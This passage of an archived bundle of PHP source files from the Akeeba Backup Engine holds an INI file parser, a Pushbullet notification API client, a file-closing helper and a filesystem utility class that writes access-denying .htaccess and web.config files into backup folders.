 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

/**
 * A utility class to parse INI files.
 *
 * This is marked deprecated since Akeeba Engine 6.4.1. The configuration of the engine is no longer stored as INI data.
 * Moreover, we will be migrating away from the current INI files used for defining engine and GUI configuration
 * parameters.
 *
 * @package     Akeeba\Engine\Util
 *
 * @deprecated  6.4.1
 */
abstract class ParseIni
{
	/**
	 * Parse an INI file and return an associative array. This monstrosity is required because some so-called hosts
	 * have disabled PHP's parse_ini_file() function for "security reasons". Apparently their blatant ignorance doesn't
	 * allow them to discern between the innocuous parse_ini_file and the potentially dangerous ini_set, leading them to
	 * disable the former and let the latter enabled.
	 *
	 * @param   string  $file              The file name or raw INI data to process
	 * @param   bool    $process_sections  True to also process INI sections
	 * @param   bool    $rawdata           Is this raw INI data? False when $file is a filepath.
	 * @param   bool    $forcePHP          Should I force the use of the pure-PHP INI file parser?
	 *
	 * @return   array    An associative array of sections, keys and values
	 */
	public static function parse_ini_file($file, $process_sections = false, $rawdata = false, $forcePHP = false)
	{
		/**
		 * WARNING: DO NOT USE INI_SCANNER_RAW IN THE parse_ini_string / parse_ini_file FUNCTION CALLS WITHOUT POST-
		 *          PROCESSING!
		 *
		 * Sometimes we need to save data which is either multiline or has double quotes in the Engine's
		 * configuration. For this reason we have to manually escape \r, \n, \t and \" in
		 * Akeeba\Engine\Configuration::dumpObject(). If we don't we end up with multiline INI values which
		 * won't work. However, if we are using INI_SCANNER_RAW these characters are not escaped back to their
		 * original form. As a result we end up with broken data which cause various problems, the most visible
		 * of which is that Google Storage integration is broken since the JSON data included in the config is
		 * now unparseable.
		 *
		 * However, not using raw mode introduces other problems. For example, the sequence \$ is converted to $ because
		 * it's assumed to be an escaped dollar sign. Things like $foo are addressed as variable interpolation, i.e.
		 * "This is ${foo} wrong" results in "This is  wrong" because $foo is considered as an interpolated variable.
		 *
		 * The solution to that is to use raw mode to parse the INI files and THEN unescape the variables. However, we
		 * cannot simply use stripslashes/stripcslashes because we could end up replacing more than we should (unlike
		 * addcslashes we cannot specify a list of escaped characters to consider). We have to do a slower string
		 * replace instead.
		 *
		 * The next problem to consider is that when $process_sections is true some of the values generated are arrays
		 * or even nested arrays. If you try to string replace on them hilarity ensues. Therefore we have the recursive
		 * unescape method which takes care of that. To make things faster and maintain the array keys we use array_map
		 * to apply recursiveUnescape to the array.
		 */

		if ($rawdata)
		{
			if (!function_exists('parse_ini_string'))
			{
				return self::parse_ini_file_php($file, $process_sections, $rawdata);
			}

			// !!! VERY IMPORTANT !!! Read the warning above before touching this line
			return array_map([
				__CLASS__, 'recursiveUnescape',
			], parse_ini_string($file, $process_sections, INI_SCANNER_RAW));
		}

		if (!function_exists('parse_ini_file'))
		{
			return self::parse_ini_file_php($file, $process_sections);
		}

		// !!! VERY IMPORTANT !!! Read the warning above before touching this line
		return array_map([__CLASS__, 'recursiveUnescape'], parse_ini_file($file, $process_sections, INI_SCANNER_RAW));
	}

	/**
	 * Recursively unescape values which have been escaped by Akeeba\Engine\Configuration::dumpObject().
	 *
	 * @param   string|array  $value
	 *
	 * @return  string|array  Unescaped result
	 */
	static function recursiveUnescape($value)
	{
		if (is_array($value))
		{
			return array_map([__CLASS__, 'recursiveUnescape'], $value);
		}

		return str_replace(['\r', '\n', '\t', '\"'], ["\r", "\n", "\t", '"'], $value);
	}

	/**
	 * A PHP based INI file parser.
	 *
	 * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on
	 * the parse_ini_file page on http://gr.php.net/parse_ini_file
	 *
	 * @param   string  $file              Filename to process
	 * @param   bool    $process_sections  True to also process INI sections
	 * @param   bool    $rawdata           If true, the $file contains raw INI data, not a filename
	 *
	 * @return    array    An associative array of sections, keys and values
	 */
	static function parse_ini_file_php($file, $process_sections = false, $rawdata = false)
	{
		$process_sections = ($process_sections !== true) ? false : true;

		if (!$rawdata)
		{
			$ini = file($file);
		}
		else
		{
			$file = str_replace("\r", "", $file);
			$ini  = explode("\n", $file);
		}

		if (!is_array($ini))
		{
			return [];
		}

		if (count($ini) == 0)
		{
			return [];
		}

		$sections = [];
		$values   = [];
		$result   = [];
		$globals  = [];
		$i        = 0;
		foreach ($ini as $line)
		{
			$line = trim($line);
			$line = str_replace("\t", " ", $line);

			// Comments
			if (!preg_match('/^[a-zA-Z0-9[]/', $line))
			{
				continue;
			}

			// Sections
			if ($line[0] == '[')
			{
				$tmp        = explode(']', $line);
				$sections[] = trim(substr($tmp[0], 1));
				$i++;
				continue;
			}

			// Key-value pair
			$lineParts = explode('=', $line, 2);
			if (count($lineParts) != 2)
			{
				continue;
			}
			$key   = trim($lineParts[0]);
			$value = trim($lineParts[1]);
			unset($lineParts);

			if (strstr($value, ";"))
			{
				$tmp = explode(';', $value);
				if (count($tmp) == 2)
				{
					if ((($value[0] != '"') && ($value[0] != "'")) ||
						preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) ||
						preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value)
					)
					{
						$value = $tmp[0];
					}
				}
				else
				{
					if ($value[0] == '"')
					{
						$value = preg_replace('/^"(.*)".*/', '$1', $value);
					}
					elseif ($value[0] == "'")
					{
						$value = preg_replace("/^'(.*)'.*/", '$1', $value);
					}
					else
					{
						$value = $tmp[0];
					}
				}
			}
			$value = trim($value);
			$value = trim($value, "'\"");

			if ($i == 0)
			{
				if (substr($line, -1, 2) == '[]')
				{
					$globals[$key][] = $value;
				}
				else
				{
					$globals[$key] = $value;
				}
			}
			else
			{
				if (substr($line, -1, 2) == '[]')
				{
					$values[$i - 1][$key][] = $value;
				}
				else
				{
					$values[$i - 1][$key] = $value;
				}
			}
		}

		for ($j = 0; $j < $i; $j++)
		{
			if ($process_sections === true)
			{
				if (isset($sections[$j]) && isset($values[$j]))
				{
					$result[$sections[$j]] = $values[$j];
				}
			}
			else
			{
				if (isset($values[$j]))
				{
					$result[] = $values[$j];
				}
			}
		}

		return $result + $globals;
	}
}
com_akeeba/BackupEngine/Util/Pushbullet/ApiException.php000060400000001731152455305260017317 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Pushbullet;

defined('AKEEBAENGINE') || die();

use Exception;

class ApiException extends Exception
{
	// Exception thrown by Pushbullet
}
com_akeeba/BackupEngine/Util/Pushbullet/Connector.php000060400000030600152455305260016656 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util\Pushbullet;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use CURLFile;

/**
 * Based on Pushbullet-for-PHP 2.10.1 – https://github.com/ivkos/Pushbullet-for-PHP/tree/v2
 *
 * The license for the original class is as follows:
 * ----------
 * The MIT License (MIT)
 *
 * Copyright (c) 2014 Ivaylo Stoyanov
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 * ----------
 *
 * The following class is a derivative work, NOT the original work.
 */
class Connector
{
	use ProxyAware;

	public const URL_PUSHES = 'https://api.pushbullet.com/v2/pushes';
	public const URL_DEVICES = 'https://api.pushbullet.com/v2/devices';
	public const URL_CONTACTS = 'https://api.pushbullet.com/v2/contacts';
	public const URL_UPLOAD_REQUEST = 'https://api.pushbullet.com/v2/upload-request';
	public const URL_USERS = 'https://api.pushbullet.com/v2/users';
	public const URL_SUBSCRIPTIONS = 'https://api.pushbullet.com/v2/subscriptions';
	public const URL_CHANNEL_INFO = 'https://api.pushbullet.com/v2/channel-info';
	public const URL_EPHEMERALS = 'https://api.pushbullet.com/v2/ephemerals';
	public const URL_PHONEBOOK = 'https://api.pushbullet.com/v2/permanents/phonebook';
	private $_apiKey;
	private $_curlCallback;

	/**
	 * Pushbullet constructor.
	 *
	 * @param   string  $apiKey  API key.
	 *
	 * @throws ApiException
	 */
	public function __construct($apiKey)
	{
		$this->_apiKey = $apiKey;

		if (!function_exists('curl_init'))
		{
			throw new ApiException('cURL library is not loaded.');
		}
	}

	/**
	 * Parse recipient.
	 *
	 * @param   string  $recipient  Recipient string.
	 * @param   array   $data       Data array to populate with the correct recipient parameter.
	 */
	private static function _parseRecipient($recipient, array &$data)
	{
		if (!empty($recipient))
		{
			if (filter_var($recipient, FILTER_VALIDATE_EMAIL) !== false)
			{
				$data['email'] = $recipient;
			}
			else
			{
				if (substr($recipient, 0, 1) == "#")
				{
					$data['channel_tag'] = substr($recipient, 1);
				}
				else
				{
					$data['device_iden'] = $recipient;
				}
			}
		}
	}

	/**
	 * Push a note.
	 *
	 * @param   string  $recipient  Recipient. Can be device_iden, email or channel #tagname.
	 * @param   string  $title      The note's title.
	 * @param   string  $body       The note's message.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function pushNote($recipient, $title, $body = null)
	{
		$data = [];

		Connector::_parseRecipient($recipient, $data);
		$data['type']  = 'note';
		$data['title'] = $title;
		$data['body']  = $body;

		return $this->_curlRequest(self::URL_PUSHES, 'POST', $data);
	}

	/**
	 * Push a link.
	 *
	 * @param   string  $recipient  Recipient. Can be device_iden, email or channel #tagname.
	 * @param   string  $title      The link's title.
	 * @param   string  $url        The URL to open.
	 * @param   string  $body       A message associated with the link.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function pushLink($recipient, $title, $url, $body = null)
	{
		$data = [];

		Connector::_parseRecipient($recipient, $data);
		$data['type']  = 'link';
		$data['title'] = $title;
		$data['url']   = $url;
		$data['body']  = $body;

		return $this->_curlRequest(self::URL_PUSHES, 'POST', $data);
	}

	/**
	 * Push a checklist.
	 *
	 * @param   string    $recipient  Recipient. Can be device_iden, email or channel #tagname.
	 * @param   string    $title      The list's title.
	 * @param   string[]  $items      The list items.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function pushList($recipient, $title, array $items)
	{
		$data = [];

		Connector::_parseRecipient($recipient, $data);
		$data['type']  = 'list';
		$data['title'] = $title;
		$data['items'] = $items;

		return $this->_curlRequest(self::URL_PUSHES, 'POST', $data);
	}

	/**
	 * Push a file.
	 *
	 * @param   string  $recipient    Recipient. Can be device_iden, email or channel #tagname.
	 * @param   string  $filePath     The path of the file to push.
	 * @param   string  $mimeType     The MIME type of the file. If null, we'll try to guess it.
	 * @param   string  $title        The title of the push notification.
	 * @param   string  $body         The body of the push notification.
	 * @param   string  $altFileName  Alternative file name to use instead of the original one.
	 *                                For example, you might want to push 'someFile.tmp' as 'image.jpg'.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function pushFile($recipient, $filePath, $mimeType = null, $title = null, $body = null, $altFileName = null)
	{
		$data = [];

		$fullFilePath = realpath($filePath);

		if (!is_readable($fullFilePath))
		{
			throw new ApiException('File: File does not exist or is unreadable.');
		}

		if (filesize($fullFilePath) > 25 * 1024 * 1024)
		{
			throw new ApiException('File: File size exceeds 25 MB.');
		}

		$data['file_name'] = $altFileName ?? basename($fullFilePath);

		// Try to guess the MIME type if the argument is NULL
		$data['file_type'] = $mimeType ?? mime_content_type($fullFilePath);

		// Request authorization to upload the file
		$response         = $this->_curlRequest(self::URL_UPLOAD_REQUEST, 'GET', $data);
		$data['file_url'] = $response->file_url;

		$response->data->file = new CURLFile($fullFilePath);

		// Upload the file
		$this->_curlRequest($response->upload_url, 'POST', $response->data, false, false);

		Connector::_parseRecipient($recipient, $data);
		$data['type']  = 'file';
		$data['title'] = $title;
		$data['body']  = $body;

		return $this->_curlRequest(self::URL_PUSHES, 'POST', $data);
	}

	/**
	 * Get push history.
	 *
	 * @param   int     $modifiedAfter  Request pushes modified after this UNIX timestamp.
	 * @param   string  $cursor         Request the next page via its cursor from a previous response. See the API
	 *                                  documentation (https://docs.pushbullet.com/http/) for a detailed description.
	 * @param   int     $limit          Maximum number of objects on each page.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function getPushHistory($modifiedAfter = 0, $cursor = null, $limit = null)
	{
		$data                   = [];
		$data['modified_after'] = $modifiedAfter;

		if ($cursor !== null)
		{
			$data['cursor'] = $cursor;
		}

		if ($limit !== null)
		{
			$data['limit'] = $limit;
		}

		return $this->_curlRequest(self::URL_PUSHES, 'GET', $data);
	}

	/**
	 * Dismiss a push.
	 *
	 * @param   string  $pushIden  push_iden of the push notification.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function dismissPush($pushIden)
	{
		return $this->_curlRequest(self::URL_PUSHES . '/' . $pushIden, 'POST', ['dismissed' => true]);
	}

	/**
	 * Delete a push.
	 *
	 * @param   string  $pushIden  push_iden of the push notification.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function deletePush($pushIden)
	{
		return $this->_curlRequest(self::URL_PUSHES . '/' . $pushIden, 'DELETE');
	}

	/**
	 * Get a list of available devices.
	 *
	 * @param   int     $modifiedAfter  Request devices modified after this UNIX timestamp.
	 * @param   string  $cursor         Request the next page via its cursor from a previous response. See the API
	 *                                  documentation (https://docs.pushbullet.com/http/) for a detailed description.
	 * @param   int     $limit          Maximum number of objects on each page.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function getDevices($modifiedAfter = 0, $cursor = null, $limit = null)
	{
		$data                   = [];
		$data['modified_after'] = $modifiedAfter;

		if ($cursor !== null)
		{
			$data['cursor'] = $cursor;
		}

		if ($limit !== null)
		{
			$data['limit'] = $limit;
		}

		return $this->_curlRequest(self::URL_DEVICES, 'GET', $data);
	}

	/**
	 * Get information about the current user.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function getUserInformation()
	{
		return $this->_curlRequest(self::URL_USERS . '/me', 'GET');
	}

	/**
	 * Update preferences for the current user.
	 *
	 * @param   array  $preferences  Preferences.
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	public function updateUserPreferences($preferences)
	{
		return $this->_curlRequest(self::URL_USERS . '/me', 'POST', ['preferences' => $preferences]);
	}

	/**
	 * Add a callback function that will be invoked right before executing each cURL request.
	 *
	 * @param   callable  $callback  The callback function.
	 */
	public function addCurlCallback(callable $callback)
	{
		$this->_curlCallback = $callback;
	}

	/**
	 * Send a request to a remote server using cURL.
	 *
	 * @param   string  $url         URL to send the request to.
	 * @param   string  $method      HTTP method.
	 * @param   array   $data        Query data.
	 * @param   bool    $sendAsJSON  Send the request as JSON.
	 * @param   bool    $auth        Use the API key to authenticate
	 *
	 * @return object Response.
	 * @throws ApiException
	 */
	private function _curlRequest($url, $method, $data = null, $sendAsJSON = true, $auth = true)
	{
		$curl = curl_init();

		$this->applyProxySettingsToCurl($curl);

		if ($method == 'GET' && $data !== null)
		{
			$url .= '?' . http_build_query($data);
		}

		curl_setopt($curl, CURLOPT_URL, $url);

		if ($auth)
		{
			curl_setopt($curl, CURLOPT_USERPWD, $this->_apiKey);
		}

		curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method);

		if ($method == 'POST' && $data !== null)
		{
			if ($sendAsJSON)
			{
				$data = json_encode($data);
				curl_setopt($curl, CURLOPT_HTTPHEADER, [
					'Content-Type: application/json',
					'Content-Length: ' . strlen($data),
				]);
			}

			curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
		}

		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($curl, CURLOPT_HEADER, false);

		@curl_setopt($curl, CURLOPT_CAINFO, AKEEBA_CACERT_PEM);
		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);

		if ($this->_curlCallback !== null)
		{
			$curlCallback = $this->_curlCallback;
			$curlCallback($curl);
		}

		$response = curl_exec($curl);

		if ($response === false)
		{
			$curlError = curl_error($curl);
			curl_close($curl);
			throw new ApiException('cURL Error: ' . $curlError);
		}

		$httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);

		if ($httpCode >= 400)
		{
			curl_close($curl);
			$responseParsed = json_decode($response);
			throw new ApiException('HTTP Error ' . $httpCode .
				' (' . $responseParsed->error->type . '): ' . $responseParsed->error->message);
		}

		curl_close($curl);

		return json_decode($response);
	}
}
com_akeeba/BackupEngine/Util/FileCloseAware.php000060400000002136152455305260015425 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Throwable;

trait FileCloseAware
{
	protected function conditionalFileClose($fp): bool
	{
		if (!is_resource($fp))
		{
			return false;
		}

		try
		{
			return @fclose($fp);
		}
		catch (Throwable $e)
		{
			return false;
		}
	}

}com_akeeba/BackupEngine/Util/FileSystem.php000060400000034077152455305260014675 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Utility functions related to filesystem objects, e.g. path translation
 */
class FileSystem
{
	/**
	 * Are we running under Windows?
	 *
	 * @var   bool
	 */
	private $isWindows = false;

	/**
	 * Local cache of the platform stock directories
	 *
	 * @var   array|null
	 * @since 7.0.3
	 */
	protected static $stockDirs = null;

	/**
	 * Initialise the object
	 */
	public function __construct()
	{
		$this->isWindows = (DIRECTORY_SEPARATOR == '\\');
	}

	/**
	 * Makes a Windows path more UNIX-like, by turning backslashes to forward slashes.
	 * It takes into account UNC paths, e.g. \\myserver\some\folder becomes
	 * \\myserver/some/folder.
	 *
	 * This function will also fix paths with multiple slashes, e.g. convert /var//www////html to /var/www/html
	 *
	 * @param   string  $p_path  The path to transform
	 *
	 * @return  string
	 */
	public function TranslateWinPath($p_path)
	{
		$is_unc = false;

		if ($this->isWindows)
		{
			// Is this a UNC path?
			$is_unc = (substr($p_path, 0, 2) == '\\\\') || (substr($p_path, 0, 2) == '//');

			// Change potential windows directory separator
			if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0, 1) == '\\'))
			{
				$p_path = strtr($p_path, '\\', '/');
			}
		}

		// Remove multiple slashes
		$p_path = str_replace('///', '/', $p_path);
		$p_path = str_replace('//', '/', $p_path);

		// Fix UNC paths
		if ($is_unc)
		{
			$p_path = '//' . ltrim($p_path, '/');
		}

		return $p_path;
	}

	/**
	 * Removes trailing slash or backslash from a pathname
	 *
	 * @param   string  $path  The path to treat
	 *
	 * @return  string  The path without the trailing slash/backslash
	 */
	public function TrimTrailingSlash($path)
	{
		$newpath = $path;

		if (substr($path, strlen($path) - 1, 1) == '\\')
		{
			$newpath = substr($path, 0, strlen($path) - 1);
		}

		if (substr($path, strlen($path) - 1, 1) == '/')
		{
			$newpath = substr($path, 0, strlen($path) - 1);
		}

		return $newpath;
	}

	/**
	 * Returns an array with the archive name variables and their values. This is used to replace variables in archive
	 * and directory names, etc.
	 *
	 * If there is a non-empty configuration value called volatile.core.archivenamevars with a serialised array it will
	 * be unserialised and used. Otherwise the name variables will be calculated on-the-fly.
	 *
	 * IMPORTANT: These variables do NOT include paths such as [SITEROOT]
	 *
	 * @return  array
	 */
	public function get_archive_name_variables()
	{
		$variables = [];

		$registry   = Factory::getConfiguration();
		$serialized = $registry->get('volatile.core.archivenamevars', null);

		if (!empty($serialized))
		{
			$variables = @unserialize($serialized);
		}

		if (empty($variables) || !is_array($variables))
		{
			$host         = Platform::getInstance()->get_host();
			$version      = defined('AKEEBA_VERSION') ? AKEEBA_VERSION : 'svn';
			$version      = defined('AKEEBABACKUP_VERSION') ? AKEEBABACKUP_VERSION : $version;
			$platformVars = Platform::getInstance()->getPlatformVersion();

			$siteName = $this->stringUrlUnicodeSlug(Platform::getInstance()->get_site_name());

			if (strlen($siteName) > 50)
			{
				$siteName = substr($siteName, 0, 50);
			}

			/**
			 * Time components. Expressed in whatever timezone the Platform decides to use.
			 */
			// Raw timezone, e.g. "EEST"
			$rawTz = Platform::getInstance()->get_local_timestamp("T");
			// Filename-safe timezone, e.g. "eest". Note the lowercase letters.
			$fsSafeTZ = strtolower(str_replace([' ', '/', ':'], ['_', '_', '_'], $rawTz));

			$randVal = new RandomValue();

			$variables = [
				'[DATE]'             => Platform::getInstance()->get_local_timestamp("Ymd"),
				'[YEAR]'             => Platform::getInstance()->get_local_timestamp("Y"),
				'[MONTH]'            => Platform::getInstance()->get_local_timestamp("m"),
				'[DAY]'              => Platform::getInstance()->get_local_timestamp("d"),
				'[TIME]'             => Platform::getInstance()->get_local_timestamp("His"),
				'[TIME_TZ]'          => Platform::getInstance()->get_local_timestamp("His") . $fsSafeTZ,
				'[WEEK]'             => Platform::getInstance()->get_local_timestamp("W"),
				'[WEEKDAY]'          => Platform::getInstance()->get_local_timestamp("l"),
				'[TZ]'               => $fsSafeTZ,
				'[TZ_RAW]'           => $rawTz,
				'[GMT_OFFSET]'       => Platform::getInstance()->get_local_timestamp("O"),
				'[HOST]'             => empty($host) ? 'unknown_host' : $host,
				'[VERSION]'          => $version,
				'[PLATFORM_NAME]'    => $platformVars['name'],
				'[PLATFORM_VERSION]' => $platformVars['version'],
				'[SITENAME]'         => $siteName,
				'[RANDOM]'           => $randVal->generateString(16, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789'),
			];
		}

		return $variables;
	}

	/**
	 * Expands the archive name variables in $source. For example "[DATE]-foobar" would be expanded to something
	 * like "141101-foobar". IMPORTANT: These variables do NOT include paths.
	 *
	 * @param   string  $source  The input string, possibly containing variables in the form of [VARIABLE]
	 *
	 * @return  string  The expanded string
	 */
	public function replace_archive_name_variables($source)
	{
		$tagReplacements = $this->get_archive_name_variables();

		return str_replace(array_keys($tagReplacements), array_values($tagReplacements), $source);
	}

	/**
	 * Expand the platform-specific stock directories variables in the input string. For example "[SITEROOT]/foobar"
	 * would be expanded to something like "/var/www/html/mysite/foobar"
	 *
	 * @param   string  $folder               The input string to expand
	 * @param   bool    $translate_win_dirs   Should I translate Windows path separators to UNIX path separators? (default: false)
	 * @param   bool    $trim_trailing_slash  Should I remove the trailing slash (default: false)
	 *
	 * @return  string  The expanded string
	 */
	public function translateStockDirs($folder, $translate_win_dirs = false, $trim_trailing_slash = false)
	{
		if (is_null(self::$stockDirs))
		{
			self::$stockDirs = Platform::getInstance()->get_stock_directories();
		}

		$temp = $folder;

		foreach (self::$stockDirs as $find => $replace)
		{
			$temp = str_replace($find, $replace, $temp);
		}

		if ($translate_win_dirs)
		{
			$temp = $this->TranslateWinPath($temp);
		}

		if ($trim_trailing_slash)
		{
			$temp = $this->TrimTrailingSlash($temp);
		}

		return $temp;
	}

	/**
	 * Rebase a path to the platform filesystem variables (most to least specific).
	 *
	 * This is the inverse procedure of translateStockDirs().
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 * @since   7.3.0
	 */
	public function rebaseFolderToStockDirs(string $path): string
	{
		// Normalize the path
		$path = $this->TrimTrailingSlash($path);
		$path = $this->TranslateWinPath($path);

		// Get the stock directories, normalize them and sort them by longest to shortest
		$stock_directories = Platform::getInstance()->get_stock_directories();

		$stock_directories = array_map(function ($path) {
			$path = $this->TrimTrailingSlash($path);

			return $this->TranslateWinPath($path);
		}, $stock_directories);

		uasort($stock_directories, function ($a, $b) {
			return -($a <=> $b);
		});

		// Start replacing paths with variables
		foreach ($stock_directories as $var => $stockPath)
		{
			if (empty($stockPath))
			{
				continue;
			}

			if (strpos($path, $stockPath) !== 0)
			{
				continue;
			}

			$path = $var . substr($path, strlen($stockPath));
		}

		return $path;
	}

	/**
	 * Generates a set of files which prevent direct web access or at least web listing of the folder contents.
	 *
	 * This method generates a .htaccess for Apache, Lighttpd and Litespeed; a web.config file for IIS 7 or later; an
	 * index.php, index.html and index.htm file for all other browsers.
	 *
	 * Despite this security precaution it is STRONGLY advised to keep your backup archives in a directory outside the
	 * site's web root as explained in the Security Information chapter of the documentation. This method is designed
	 * to only provide a defence of last resort.
	 *
	 * @param   string  $dir    The output directory to secure against web access
	 * @param   bool    $force  Forcibly overwrite existing files
	 *
	 * @return  void
	 * @since   7.0.3
	 */
	public function ensureNoAccess($dir, $force = false)
	{
		// Create a .htaccess file to prevent all web access (Apache 1.3+, Lightspeed, Lighttpd, ...)
		if (!is_file($dir . '/.htaccess') || $force)
		{
			$htaccess = <<< APACHE
## This file was generated automatically by the Akeeba Backup Engine
##
## DO NOT REMOVE THIS FILE
##
## This file makes sure that your backup output directory is not directly accessible from the web if you are using
## the Apache, Lighttpd and Litespeed web server. This prevents unauthorized access to your backup archive files and
## backup log files. Removing this file could have security implications for your site.
##
## You are strongly advised to never delete or modify any of the files automatically created in this folder by the
## Akeeba Backup Engine, namely:
##
## * .htaccess
## * web.config
## * index.html
## * index.htm
## * index.php
##
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
APACHE;

			@file_put_contents($dir . '/.htaccess', $htaccess);
		}

		// Create a web.config to prevent all web access (IIS 7+)
		if (!is_file($dir . '/web.config') || $force)
		{
			$webConfig = <<< XML
<?xml version="1.0"?>
<!--
This file was generated automatically by the Akeeba Backup Engine

DO NOT REMOVE THIS FILE

This file makes sure that your backup output directory is not directly accessible from the web if you are using the
Microsoft Internet Information Services (IIS) web server, version 7 or later. This prevents unauthorized access to your
backup archive files and backup log files. Removing this file could have security implications for your site.

As noted above, this only works on IIS 7 or later.
See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions

You are strongly advised to never delete or modify any of the files automatically created in this folder by the
Akeeba Backup Engine, namely:

* .htaccess
* web.config
* index.html
* index.htm
* index.php

-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>
XML;
			@file_put_contents($dir . '/web.config', $webConfig);
		}

		// Create a blank index.html or index.htm to prevent directory listings (all servers)
		$blankHtml = <<< HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>Access Denied</title>
  </head>
  <body>
	  <h1>Access Denied</h1>
  </body>
</html>
HTML;

		if (!is_file($dir . '/index.html') || $force)
		{
			@file_put_contents($dir . '/index.html', $blankHtml);
		}

		if (!is_file($dir . '/index.htm') || $force)
		{
			@file_put_contents($dir . '/index.htm', $blankHtml);
		}

